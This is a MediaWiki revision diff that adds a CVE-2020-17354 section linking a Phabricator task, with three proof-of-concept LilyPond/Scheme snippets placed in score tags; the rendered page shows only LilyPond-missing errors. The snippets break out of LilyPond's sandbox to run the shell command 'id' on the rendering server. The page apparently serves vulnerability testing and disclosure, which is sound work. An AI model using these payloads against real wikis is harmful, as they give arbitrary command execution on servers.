Tim paste: Difference between revisions

Revision as of 01:28, 20 January 2023

Unable to obtain LilyPond version:

/bin/bash: line 1: /usr/local/bin/lilypond: No such file or directory

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

1. PoC from task:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

2. Again, using raw=1:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

3. Notehead stencil hack PoC, contributed in comment from LilyPond developer Han-wen Nienhuys:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

@@ Line 53: / Line 53: @@
 C,   D, E, F,|G, A, B, C|D E F G|A B c d|
 e f g a|b c' d' e'|f' g' a' b'|]
+</score>
+== CVE-2020-17354 ==
+See [https://phabricator.wikimedia.org/T259210 T259210]
+. PoC from task:<score>
+{
+  \relative { c' }
+}
+#(begin
+  (define location 1)
+  (display "With output-def-scope\n")
+  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
+  (display "With output-def-lookup\n")
+  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
+)
+</score>
+. Again, using raw=1:<score raw=1>
+{
+  \relative { c' }
+}
+#(begin
+  (define location 1)
+  (display "With output-def-scope\n")
+  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
+  (display "With output-def-lookup\n")
+  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
+)
+</score>
+. Notehead stencil hack PoC, contributed in [https://phabricator.wikimedia.org/T259210#6368852 comment] from LilyPond developer Han-wen Nienhuys: <score>
+{
+  \override NoteHead.text = \system
+  \override NoteHead.stencil =
+  #(lambda (grob)
+    ((cdr (assoc 'text
+	   (cadr (ly:grob-alist-chain grob '())))) "id")
+    #f)
+  c4
+}
 </score>